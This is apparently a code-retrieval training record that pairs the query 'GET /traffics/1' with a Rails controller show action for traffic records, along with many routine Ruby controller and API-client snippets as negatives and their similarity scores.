|format|\n format.html # index.html.erb\n format.json { render json: @ts }\n end\n end", "def index\n @trafficofficers = Trafficofficer.all\n end", "def show\n @tripJson = []\n @trip.segments.order(:order).each do |segment|\n locations = []\n segment.locations.order(:order).each do |location|\n locations << {:id => location.id, :lat => location.latitude, :lng => location.longitude }\n end\n @tripJson << {:id => segment.id, :transportation => segment.transportation, :locations => locations}\n end\n end", "def show\n @trajectory = Trajectory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trajectory }\n end\n end", "def trims(year, model)\n model_id = get_object_id model\n response = get_url \"Trims/#{year}/#{model_id}\"\n response_obj = JSON.parse response\n response_obj[\"GetTrimsResult\"].map{|r| Models::Vehicle.from_response_hash(r)}\n end", "def index\n @treks = Trek.all\n @title = \"Trekking routes and destinations\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @treks }\n end\n end", "def get_traffic_by_loadbalancer(loadbalancer_id, attributes = {}, headers = {})\n Validators::Traffic.validate_attributes!(attributes, :list)\n get!(\"traffics/loadbalancers/#{loadbalancer_id}\", attributes, headers)\n end", "def show\n travels = Travel.find(params[:id])\n render json: travels, status: :ok\n end", "def list_trails()\r\n resp = @cloudtrail.describe_trails({})\r\n \r\n puts\r\n puts \"Found #{resp.trail_list.count} trail(s):\"\r\n puts\r\n \r\n resp.trail_list.each do |trail|\r\n puts \"Name: #{trail.name}\"\r\n puts \"Amazon S3 bucket name: #{trail.s3_bucket_name}\" \r\n puts\r\n end\r\n\r\n # Uncomment the following line to print all available information.\r\n # puts resp\r\n end", "def index\n @trucks = Truck.all\n\n render json: @trucks\n end", "def get_trip_detail(id)\n server_response = handle_timeouts do\n get \"/1/trips/#{id}.json?locale=en\"\n end\n server_response['response']\n end", "def index\n @tramite_constitucionals = TramiteConstitucional.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tramite_constitucionals }\n end\n end", "def index\n render json: TeachingActivity.all\n end", "def index\n @days = @trip.days.order(trip_day: :asc)\n render json: @days, include: [:activities]\n end", "def index\n search = TripSearch.new(search_params)\n trips = Trip.apply_scopes(\n search.start_location,\n search.driver_name,\n search.rider_name\n )\n\n render json: trips\n end", "def index\n # Get trips for the trip type\n trips = Trip.all.where(trip_type: params[:trip_type] || 2)\n # (optional) if city_id params was provided\n trips = trips.joins(:city).where(\"cities.id = ?\", params[:city_id]) if params[:city_id]\n # (optional) if country_id params was provided\n trips = trips.joins(:city => :country).where(\"countries.id = ?\", params[:country_id]) if params[:country_id]\n # (optional) if sort params was provided\n if params[:sort]\n \n case params[:sort].downcase\n when 'popularity' # by number of bookings\n trips = trips.most_popular\n when 'rating' # by rating of reviews\n trips = trips.best_rated\n end\n\n end\n\n # Paginate\n trips = trips.page(params[:page] || 1).per(params[:per_page] || 20)\n\n render json: {\n trips: ActiveModelSerializers::SerializableResource.new(trips, each_serializer: TripSerializer),\n total: trips.total_count,\n page: trips.current_page,\n per_page: trips.limit_value\n }\n end", "def index\n @tuitions = Tuition.all\n end", "def index\n @settlement_histories = Settlement::History.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @settlement_histories }\n end\n end", "def index\n @topics = Topic.all\n @topics_json = turn_topics_to_timeline_json(@topics)\n respond_to do |format|\n format.html\n format.json { render :json => @topics_json } #debug use\n end\n\n end", "def index\n @trips = Trip.all\n\n render json: @trips\n end", "def index\n @trips = Trip.all\n\n render json: @trips\n end", "def index\n @travelers = Traveler.all\n end", "def index\n @teaches = Teach.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teaches }\n end\n end", "def index\n @tangents = Tangent.all\n end", "def current_trains\n data = parse_json\n current_trains = []\n data['Trips'].each do |train|\n if !train['Position'].nil?\n train_number = train['Position']['Train']\n position = {lat: train['Position']['Lat'], long: train['Position']['Long']}\n end\n destination = train['Destination']\n stops = []\n train['Predictions'].each do |stop|\n stops << {stop: stop['Stop'], seconds: stop['Seconds']} # stop needs better name, maybe stop_name or name\n end\n current_trains << MbtaWrapper::Subway.new(train_number, destination, stops, position)\n end\n current_trains\n end", "def get_transcriptions()\n @client.make_request(:get, @client.concat_user_path(\"#{RECORDING_PATH}/#{id}/transcriptions\"))[0]\n end", "def get_technician_results_for_page(page: 1)\n response = @http_client.get(@url + \"&per_page=25&page=#{page}\")\n json = response.body\n JSON.parse json\n end", "def index\n @tradeviews = Tradeview.all\n end", "def GetTickets params = {}\n\n params = params.merge(path: 'tickets.json')\n APICall(params)\n\n end", "def index\n @topics = Topic.where('timeint >= :timeint', :timeint => Topic.current_timeint(Time.now))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def index\n @traces = Trace.all\n\n render json: @traces\n end", "def create\n @trac = Trac.new(trac_params)\n\n respond_to do |format|\n if @trac.save\n format.html { redirect_to @trac, notice: 'Trac was successfully created.' }\n format.json { render :show, status: :created, location: @trac }\n else\n format.html { render :new }\n format.json { render json: @trac.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @traffic = Traffic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @traffic }\n end\n end", "def index\n @trips = Trip.all\n render :json => @trips\n end", "def get_trip_listing \n\t\t@trip = Trip.find_by(_id: trip_params[:trip_id])\n\t\tif current_user.trips_driving.include?(trip_params[:trip_id]) || current_user.past_trips_driven.include?(trip_params[:trip_id])\n\t\t\t@user_requests = User.where(:_id.in => @trip.user_requests).map { |user|\n\t\t\t\tuser = {\n\t\t\t\t\t_id: user.id,\n\t\t\t\t\tfirst_name: user.first_name,\n\t\t\t\t\tlast_name: user.last_name,\n\t\t\t\t\tfacebook_link: user.facebook_link,\n\t\t\t\t\temail: user.email,\n\t\t\t\t\tphone_number: user.phone_number\n\t\t\t\t}\n\t\t\t}\n\t\t\t@accepted_users = User.where(:_id.in => @trip.accepted_users).map { |user| \n\t\t\t\tuser = {\n\t\t\t\t\t_id: user.id,\n\t\t\t\t\tfirst_name: user.first_name,\n\t\t\t\t\tlast_name: user.last_name,\n\t\t\t\t\tfacebook_link: user.facebook_link,\n\t\t\t\t\temail: user.email,\n\t\t\t\t\tphone_number: user.phone_number\n\t\t\t\t}\n\t\t\t}\n\t\t\trender json: {\n\t\t\t\tstatus: 'success',\n\t\t\t\ttrip: {\n\t\t\t\t\ttrip_details: @trip,\n\t\t\t\t\tuser_requests: @user_requests,\n\t\t\t\t\taccepted_users: @accepted_users\n\t\t\t\t}\n\t\t\t}\n\t\telse\n\t\t\trender json: {\n\t\t\t\tstatus: 'error',\n\t\t\t\tmessage: 'This user is not the driver for this trip'\n\t\t\t}\n\t\tend\n\tend", "def index\n @tranheads = Tranhead.all\n end", "def tafs(params={})\n perform_get('/tafs.xml', params)\n end", "def index\n @transects = Transect.all.order(transect_code: :asc)\n respond_to do |format|\n format.html\n format.json\n format.csv {send_data @transects.to_csv,\n filename: \"transects-#{Date.today}.csv\"}\n end\n end", "def trainings\n render json: @plan.trainings\n end", "def index\n @tracers = Tracer.order(:name)\n end", "def index\n @traxes = Trax.all\n end", "def index\n @future_trips = FutureTrip.all\n end", "def index\n @technician_statuses = TechnicianStatus.all\n end", "def tattoos\n render :nothing => true and return if params[:id].nil?\n\n @tattoo = Tattoo.find(params[:id])\n render :json => @tattoo.to_json(:include => [:artist, :assets])\n #render :json => @tattoo.to_json(:include => { :assets => { :only => [:id, :data_file_name] } })\n return\n end", "def index\n @controltleits = Controltleit.all\n end", "def index\n @timecharts = Timechart.find(:all, order: \"stop_time DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timecharts }\n end\n end", "def index\n @traceroutes = Traceroute.all\n end", "def index\n @traceroutes = Traceroute.all\n end", "def index\n @timetables = Timetable.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timetables }\n end\n end", "def show\n\n trip = Trip.find(params[:id])\n\n departureOrder = LineStation.find_by_station_id(trip.departureStation_id).order\n arrivalOrder = LineStation.find_by_station_id(trip.arrivalStation_id).order\n\n lineStations = LineStation.where(:order => departureOrder..arrivalOrder)\n lineStations = lineStations.where(:line_id => trip.line_id)\n if departureOrder < arrivalOrder\n lineStations.order('order ASC')\n else\n lineStations.order('order DESC')\n end\n\n times = Array.new\n currentTime = trip.beginTime\n lineStations.each do |ls|\n \n station = Station.find(ls.station_id)\n train = Train.find(trip.train_id)\n\n times << { :station => station, :time => currentTime.strftime('%H:%M') }\n\n timeElapsed = ls.distance.to_f / train.velocity\n currentTime = currentTime + timeElapsed.hours\n end\n\n render :json => { :trip => trip, :times => times }\n\n end", "def index\n @ticket_transcations = TicketTranscation.all\n end", "def index\n @trips = Trip.desc.all\n @latest_trip = @trips.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trips }\n end\n end", "def flights\n trip = Trip.where('id = ?', params[:id]).take\n if !trip.nil\n respond_with( trip.flights )\n else\n render :json => { error: 404 }, :status => 404\n end\n end", "def account_trade_list(options)\n sleep 0.25 # rate limit weight of 5, 20 requests/second limit\n request :account, :get, 'myTrades', options\n end", "def get_trails_by_id(params = {})\n request_by_ids(\"get-trails-by-id\", params)\n end", "def show\n @teacher_history = TeacherHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @teacher_history }\n end\n end", "def index\n @taxis = Taxi.where(:open_for_bidding => true).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @taxis }\n end\n end", "def index\n @tenancies = Tenancy.all\n end", "def index\n @trip_schedules = TripSchedule.all\n end", "def index\n @flights = Flight.all\n render json: @flights\n end" ]
[ "0.70034146", "0.67238194", "0.61969715", "0.6035365", "0.5915713", "0.5892292", "0.58693904", "0.58354455", "0.58106065", "0.5803437", "0.57738143", "0.5735023", "0.57328355", "0.5715188", "0.570751", "0.56991637", "0.56809133", "0.5654262", "0.5621689", "0.56147885", "0.56136054", "0.56017363", "0.55953544", "0.5595008", "0.5577922", "0.5558437", "0.55079645", "0.5503526", "0.54978484", "0.5488855", "0.54789275", "0.54775035", "0.5465975", "0.5464812", "0.5450692", "0.54473263", "0.54473263", "0.5442633", "0.54367477", "0.54325753", "0.5427918", "0.54121274", "0.5407821", "0.5399472", "0.53989094", "0.53972995", "0.53930914", "0.5378616", "0.5377952", "0.53675854", "0.5363624", "0.53598183", "0.5344226", "0.5334922", "0.5331586", "0.5327678", "0.5319797", "0.5306502", "0.53063864", "0.5302336", "0.5299299", "0.5299299", "0.5293929", "0.52865165", "0.5283631", "0.5283144", "0.52808684", "0.5272916", "0.5272332", "0.5272069", "0.5271922", "0.526015", "0.5255145", "0.5254337", "0.5251594", "0.52481467", "0.52392876", "0.5223965", "0.5215844", "0.5214547", "0.52117234", "0.5205542", "0.52044994", "0.5201772", "0.51971006", "0.5195118", "0.519374", "0.51906484", "0.51906484", "0.51857543", "0.5182288", "0.5182166", "0.51721513", "0.51710725", "0.5170476", "0.516993", "0.5166182", "0.5164338", "0.5159857", "0.51587903", "0.5156953" ]
0.0
-1
GET /traffics/1 GET /traffics/1.json
def show if @traffic.state == "published" begin @traffic.planed_dates = Calendar.planed_dates(30, :traffic, @traffic.id) rescue Exception => e @traffic.planed_dates = [] end else @traffic.planed_dates = [] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @traffics = Traffic.all\n end", "def index\n @traffics = Traffic.find(:all, :order => \"created_at\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @traffics }\n end\n end", "def show\n @travel_chart = Travel::Chart.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @travel_chart }\n end\n end", "def trades\n Client.current.get(\"#{resource_url}/trades\")\n end", "def get_trip_detail(id)\n server_response = handle_timeouts do\n get \"/1/trips/#{id}.json?locale=en\"\n end\n server_response['response']\n end", "def trips\n flight = Flight.where(\"id = ?\", params[:id]).take\n if flight.nil?\n render :json => {errors: \"404\"}, :status => 404\n else\n respond_with( flight.trips )\n end\n end", "def index\n @tracs = Trac.all\n end", "def index\n getProfile\n @consents = TherapistConsent.where('therapist_id = ? ', @therapist.id)\n respond_to do |format|\n format.html { render action: 'index' }\n format.json { render :status => 200, :json => { action: 'index', consents: @consents }}\n end\n end", "def show\n @trajectory = Trajectory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trajectory }\n end\n end", "def show\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trail }\n end\n end", "def show\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trail }\n end\n end", "def index\n trail_api_request\n @trails = Trail.order(:city).order(:name)\n end", "def index\n trips = Trip.all\n render json: trips\n end", "def show\n @training_calendar = TrainingCalendar.find(params[:id])\n @trainees = Trainee.find_all_by_training_calendar_id(@training_calendar.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @training_calendar }\n end\n end", "def show\n @traffic = Traffic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @traffic }\n end\n end", "def index\n @vehicle_realtimes = VehicleRealtime.all\n \n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtimes.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end", "def index\n @trips = Trip.desc.all\n @latest_trip = @trips.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trips }\n end\n end", "def show\n travels = Travel.find(params[:id])\n render json: travels, status: :ok\n end", "def index\n @tracings = Tracing.all\n end", "def show\n @clinic_timing = ClinicTiming.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinic_timing }\n end\n end", "def index\n schedules = Schedule.where(trip_id: params[:trip_id])\n respond_with schedules\n end", "def index\n @trades = Trade\n .only(:created_at, :is_fair, :ash_pokemons, :brock_pokemons)\n respond_to do |format|\n format.json { render json: @trades }\n end\n end", "def index\n @travel_requests = TravelRequest.where user_id: current_user.id\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @travel_requests }\n end\n end", "def tribes\n Tribe.all\n end", "def index\n @trails = Trail.all\n end", "def index\n trips = Trip.all\n respond_with trips\n end", "def show\n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtime.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end", "def index\n @trainees = Trainee.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @trainees.to_json(:except => [:created_at, :updated_at], :include => {:skills => { :except => [:created_at, :updated_at]} }) }\n end\n\n end", "def get_traffic_by_loadbalancer(loadbalancer_id, attributes = {}, headers = {})\n Validators::Traffic.validate_attributes!(attributes, :list)\n get!(\"traffics/loadbalancers/#{loadbalancer_id}\", attributes, headers)\n end", "def get_travellers\n if current_user != nil\n @trip = Trip.find(params[:id])\n render json: @trip.trip_json\n else\n render json: session[:trip].trip_json\n end\n\n end", "def show\n @tier = Tier.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tier }\n end\n end", "def show\n @trial = Trial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trial }\n end\n end", "def index *_\n @trades = owned_trades_view\n\n render json: @trades\n end", "def index\n @trades = Trade.all\n render json: @trades\n end", "def flights\n trip = Trip.where('id = ?', params[:id]).take\n if !trip.nil\n respond_with( trip.flights )\n else\n render :json => { error: 404 }, :status => 404\n end\n end", "def get_carriers\n @transporter = Transporter.find(params[:id])\n\n render json: @transporter.carriers\n end", "def get\n appid = ENV['TRIMET_APP_ID']\n response = Unirest.get( \"http://developer.trimet.org/ws/v2/vehicles?appid=#{appid}\" )\n response.body\nend", "def historical_trades(options)\n request :verified, :get, :historicalTrades, options\n end", "def index\n @trafficofficers = Trafficofficer.all\n end", "def trips\n @trip_requests = current_user.trip_requests.trips.paginate(page:params[:page], per_page:20)\n json_response(@trip_requests)\n end", "def index\n @transcriptions = Transcription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transcriptions }\n end\n end", "def show\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trip }\n end\n end", "def show\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trip }\n end\n end", "def show\n @tripJson = []\n @trip.segments.order(:order).each do |segment|\n locations = []\n segment.locations.order(:order).each do |location|\n locations << {:id => location.id, :lat => location.latitude, :lng => location.longitude }\n end\n @tripJson << {:id => segment.id, :transportation => segment.transportation, :locations => locations}\n end\n end", "def show\n @travel_type = TravelType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @travel_type }\n end\n end", "def index\n @ts = T.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ts }\n end\n end", "def index\n @technics = Technic.all\n end", "def index\n @flight_turbulences = FlightTurbulence.all\n end", "def index\n @trip = Trip.find(params[:trip_id])\n end", "def show\n @settlement_history = Settlement::History.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @settlement_history }\n end\n end", "def show\n @transport_subsidy = TransportSubsidy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transport_subsidy }\n end\n end", "def trips\n get '/gtfs/trips'\n end", "def trips_by_trip_id(trip_id)\n get \"/gtfs/trips/tripId/#{trip_id}\"\n end", "def index\n @trades = Trade.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trades }\n end\n end", "def index\n # Get trips for the trip type\n trips = Trip.all.where(trip_type: params[:trip_type] || 2)\n # (optional) if city_id params was provided\n trips = trips.joins(:city).where(\"cities.id = ?\", params[:city_id]) if params[:city_id]\n # (optional) if country_id params was provided\n trips = trips.joins(:city => :country).where(\"countries.id = ?\", params[:country_id]) if params[:country_id]\n # (optional) if sort params was provided\n if params[:sort]\n \n case params[:sort].downcase\n when 'popularity' # by number of bookings\n trips = trips.most_popular\n when 'rating' # by rating of reviews\n trips = trips.best_rated\n end\n\n end\n\n # Paginate\n trips = trips.page(params[:page] || 1).per(params[:per_page] || 20)\n\n render json: {\n trips: ActiveModelSerializers::SerializableResource.new(trips, each_serializer: TripSerializer),\n total: trips.total_count,\n page: trips.current_page,\n per_page: trips.limit_value\n }\n end", "def show\n @therapist = Therapist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @therapist }\n end\n end", "def trip(trip_id)\n connection.get(\"/trips/#{trip_id}\").body\n end", "def trades(options)\n request :public, :get, :trades, options\n end", "def show\n render json: @trip\n end", "def show\n render json: @trip\n end", "def index\n @trucks = Truck.all\n\n render json: @trucks\n end", "def index\n @treks = Trek.all\n @title = \"Trekking routes and destinations\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @treks }\n end\n end", "def show\n @click_thru = ClickThru.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @click_thru }\n end\n end", "def index\n @trips = Trip.all\n\n render json: @trips\n end", "def index\n @trips = Trip.all\n\n render json: @trips\n end", "def get_technician_results_for_page(page: 1)\n response = @http_client.get(@url + \"&per_page=25&page=#{page}\")\n json = response.body\n JSON.parse json\n end", "def index\n @tramite_constitucionals = TramiteConstitucional.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tramite_constitucionals }\n end\n end", "def show\n @trainer = Trainer.find(params[:id])\n\n render json: @trainer.as_json(only: [:name], include: [:trainees])\n end", "def show\n @my_time_trial = MyTimeTrial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @my_time_trial }\n end\n end", "def show\n @tenure = Tenure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tenure }\n end\n end", "def index\n @tacos = Taco.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render @tacos }\n end\n end", "def show\n @trade = Trade.find(params[:id])\n @stipulations = @trade.stipulations.order('trade_direction desc')\n @trader1 = Team.find(@trade.trader1_id)\n @trader2 = Team.find(@trade.trader2_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trade }\n end\n end", "def show\n @dtpic = Dtpic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dtpic }\n end\n end", "def index\n @topics = Topic.where('timeint >= :timeint', :timeint => Topic.current_timeint(Time.now))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def index\n @trips = Trip.all\n render :json => @trips\n end", "def index\n @travelers = Traveler.all\n end", "def index\n @flights = Flight.all\n render json: @flights\n end", "def trims(year, model)\n model_id = get_object_id model\n response = get_url \"Trims/#{year}/#{model_id}\"\n response_obj = JSON.parse response\n response_obj[\"GetTrimsResult\"].map{|r| Models::Vehicle.from_response_hash(r)}\n end", "def thing_flattrs(id,params={})\n get(\"/rest/v2/things/#{id}/flattrs\",params)\n end", "def show\n\n trip = Trip.find(params[:id])\n\n departureOrder = LineStation.find_by_station_id(trip.departureStation_id).order\n arrivalOrder = LineStation.find_by_station_id(trip.arrivalStation_id).order\n\n lineStations = LineStation.where(:order => departureOrder..arrivalOrder)\n lineStations = lineStations.where(:line_id => trip.line_id)\n if departureOrder < arrivalOrder\n lineStations.order('order ASC')\n else\n lineStations.order('order DESC')\n end\n\n times = Array.new\n currentTime = trip.beginTime\n lineStations.each do |ls|\n \n station = Station.find(ls.station_id)\n train = Train.find(trip.train_id)\n\n times << { :station => station, :time => currentTime.strftime('%H:%M') }\n\n timeElapsed = ls.distance.to_f / train.velocity\n currentTime = currentTime + timeElapsed.hours\n end\n\n render :json => { :trip => trip, :times => times }\n\n end", "def index\n @days = @trip.days.order(trip_day: :asc)\n render json: @days, include: [:activities]\n end", "def show\n @trip = Trips.find_trip(params[ :id ] )\n end", "def show\n @travel = Travels::Travel.find(whitelist(params, :show))\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @travel, status: 200 }\n end\n end", "def show\n @teacher_history = TeacherHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @teacher_history }\n end\n end", "def show\n @tramite_constitucional = TramiteConstitucional.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tramite_constitucional }\n end\n end", "def show\n @taxi = Taxi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @taxi }\n end\n end", "def index\n @settlement_histories = Settlement::History.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @settlement_histories }\n end\n end", "def show\n @tripdate = Tripdate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tripdate }\n end\n end", "def toxics\n request = Net::HTTP::Get.new(\"/proxies/#{name}/toxics\")\n response = http_request(request)\n assert_response(response)\n\n JSON.parse(response.body).map do |attrs|\n Toxic.new(\n type: attrs[\"type\"],\n name: attrs[\"name\"],\n proxy: self,\n stream: attrs[\"stream\"],\n toxicity: attrs[\"toxicity\"],\n attributes: attrs[\"attributes\"],\n )\n end\n end", "def index\n @tangents = Tangent.all\n end", "def show\n @breadcrumb = 'read'\n @timerecord_type = TimerecordType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @timerecord_type }\n end\n end", "def GetTicket id\n\n APICall(path: \"tickets/#{id}.json\")\n\n end", "def show\n @tc_detail_step = TcDetailStep.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tc_detail_step }\n end\n end", "def read_tier1_with_http_info(tier_1_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingConnectivityTier1GatewaysTier1GatewaysApi.read_tier1 ...'\n end\n # verify the required parameter 'tier_1_id' is set\n if @api_client.config.client_side_validation && tier_1_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tier_1_id' when calling PolicyNetworkingConnectivityTier1GatewaysTier1GatewaysApi.read_tier1\"\n end\n # resource path\n local_var_path = '/global-infra/tier-1s/{tier-1-id}'.sub('{' + 'tier-1-id' + '}', tier_1_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Tier1')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingConnectivityTier1GatewaysTier1GatewaysApi#read_tier1\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @trend = Trend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trend }\n end\n end", "def tattoos\n render :nothing => true and return if params[:id].nil?\n\n @tattoo = Tattoo.find(params[:id])\n render :json => @tattoo.to_json(:include => [:artist, :assets])\n #render :json => @tattoo.to_json(:include => { :assets => { :only => [:id, :data_file_name] } })\n return\n end", "def get_trafic_data(number_of_records)\n\t\tkeys = {'x-api-key' => @keys[:ss_api_key]}\n\t\turi = URI.parse(\"http://smartstreets.sensetecnic.com/wotkit/api/sensors/42607/data?beforeE=#{number_of_records}\")\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\tresponse = http.get(uri.request_uri, keys)\n\t\tjson = parse_api_response(response.body)\n\tend", "def get(path, params={})\n params = merge_set_up_params(params)\n JSON.parse(Typhoeus::Request.get(API_URL + path, :params => params).body)[\"response\"]\n end", "def get_subject_by_curricular_line\n @subjects = Subject.get_by_career(params[:career_id],params[:cl_id])\n render :json => @subjects\n end", "def show\n @line = ReportingForms::Tanimoto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end", "def show\n @transcription = Transcription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transcription }\n end\n end" ]
[ "0.69723177", "0.67214423", "0.6088091", "0.5891818", "0.58801514", "0.5861678", "0.5853617", "0.5843993", "0.58351845", "0.5819221", "0.5819221", "0.57854176", "0.5758974", "0.5754437", "0.57528144", "0.57470435", "0.5744043", "0.5723258", "0.57027465", "0.5699805", "0.5687304", "0.56853306", "0.5676373", "0.5625517", "0.56248724", "0.56214356", "0.55983996", "0.55937606", "0.559215", "0.55650294", "0.5562147", "0.5547075", "0.5546393", "0.5534416", "0.552964", "0.5528541", "0.55240047", "0.5487671", "0.5486359", "0.54862195", "0.5472201", "0.5467849", "0.5467849", "0.5466147", "0.5456585", "0.545515", "0.54536664", "0.5452565", "0.544097", "0.54342467", "0.54330885", "0.5433043", "0.5428961", "0.54253185", "0.5422346", "0.54192096", "0.5417362", "0.5412666", "0.54101706", "0.54101706", "0.5397112", "0.5394925", "0.5393874", "0.5390434", "0.5390434", "0.5384621", "0.53803676", "0.5376983", "0.5373625", "0.53655297", "0.53595495", "0.5350738", "0.5350507", "0.5350018", "0.53454626", "0.5337801", "0.5336131", "0.5336085", "0.53345335", "0.53307754", "0.5329641", "0.53274137", "0.5318895", "0.53144366", "0.53074425", "0.53038496", "0.52957755", "0.5292704", "0.52888405", "0.5288626", "0.52878094", "0.5286285", "0.5282501", "0.5277258", "0.52739966", "0.5273898", "0.52720684", "0.5266641", "0.5258798", "0.525166", "0.52512395" ]
0.0
-1
POST /traffics POST /traffics.json
def create params[:traffic][:website_id] = params[:website_selected] params[:traffic][:count_weeks] = params[:count_weeks_selected] @traffic = Traffic.new(traffic_params) begin @traffic.save! rescue Exception => e respond_to do |format| format.html { @websites = Website.all @statistics = Statistic.all @website = @traffic.website redirect_to new_traffic_path, alert: e.message and return } end end if @traffic.statistic_type == "custom" begin @statistic = @traffic.create_custom_statistic!({:statistic_id => params[:statistic_selected], :policy_id => @traffic.id, :policy_type => @traffic.class.name}) rescue Exception => e # on remet le type par defaut et on le sauve car si l'utilisateur s'en va san terminer la creation alors il manque une custom static et cela entraineenra une erruer dans index @traffic.update_attribute(:statistic_type, "default") respond_to do |format| format.html { @websites = Website.all @statistics = Statistic.all @website = @traffic.website @traffic.monday_start = Traffic.next_monday(Date.today + @traffic.max_duration_scraping) redirect_to edit_traffic_path(@traffic), alert: e.message and return } end end end render_after_create_ok_or_update_ok("Traffic n°#{@traffic.id} was successfully created.") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @trac = Trac.new(trac_params)\n\n respond_to do |format|\n if @trac.save\n format.html { redirect_to @trac, notice: 'Trac was successfully created.' }\n format.json { render :show, status: :created, location: @trac }\n else\n format.html { render :new }\n format.json { render json: @trac.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tenure = Tenure.new(tenure_params)\n\n if @tenure.save\n audit(@tenure, current_user)\n render json: @tenure, status: :created\n else\n render json: @tenure.errors, status: :unprocessable_entity\n end\n end", "def create\n @travel_chart = Travel::Chart.new(params[:travel_chart])\n\n respond_to do |format|\n if @travel_chart.save\n format.html { redirect_to @travel_chart, notice: 'Travel chart was successfully created.' }\n format.json { render json: @travel_chart, status: :created, location: @travel_chart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @travel_chart.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @traffics = Traffic.all\n end", "def trac_params\n params.require(:trac).permit(:flight, :airline)\n end", "def create\n @trax = Trax.new(trax_params)\n\n 